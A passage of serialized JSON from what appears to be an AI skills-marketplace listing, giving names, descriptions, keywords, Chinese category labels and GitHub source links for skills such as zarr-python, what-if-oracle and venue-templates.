5,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":6,"sourceHtmlUrl":196,"categories":197,"keywords":198,"publishedAt":44},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[199,200,201,202,203,204,205,206,207,208,209,210,211,212,213],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":215,"name":216,"nameZh":6,"description":217,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":6,"sourceHtmlUrl":218,"categories":219,"keywords":221,"publishedAt":44},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[220],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[222,223,224,225,226,227,36,228,229,230,231,167,168,232,233,234,235,236,237,238],"oracle","what if oracle","go","run","ux","futures","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":6,"sourceHtmlUrl":243,"categories":244,"keywords":255,"publishedAt":44},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[245,248,251,252],{"categoryNo":246,"categoryName":247,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":249,"categoryName":250,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":253,"categoryName":254,"taxonomyType":153,"taxonomyTypeDesc":154},"01JBSEEDCAT000000000000036","内容创作者",[256,257,258,259,260,261,262,263,164,264,167,168,169,265,266,267,268,269,213,270],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]